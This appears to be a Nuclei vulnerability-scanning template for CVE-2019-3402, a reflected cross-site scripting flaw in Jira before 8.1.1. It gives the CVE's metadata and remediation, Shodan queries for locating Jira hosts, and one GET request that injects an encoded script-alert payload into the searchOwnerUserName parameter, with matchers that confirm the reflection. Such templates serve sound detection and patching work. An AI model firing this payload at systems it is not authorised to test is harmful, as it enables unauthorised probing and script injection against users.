id: CVE-2019-3402

info:
  name: Jira < 8.1.1 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, data theft, or defacement.
  remediation: |
    Upgrade Jira to version 8.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
    - https://jira.atlassian.com/browse/JRASERVER-69243
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3402
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Faizee-Asad/JIRA-Vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3402
    cwe-id: CWE-79
    epss-score: 0.00238
    epss-percentile: 0.61128
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'<script>alert(1)</script>' does not exist"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009b73a5c7d11677ea1b702b73fc25d801ba0bb1303e3baa9781b3a81cef5d8953022100bda7b5db68c99e8dd65bc3d1eb292a9b24a665746f9d2eb40f7ff7a2bb6f270e:922c64590222798bb761d5b6d8e72950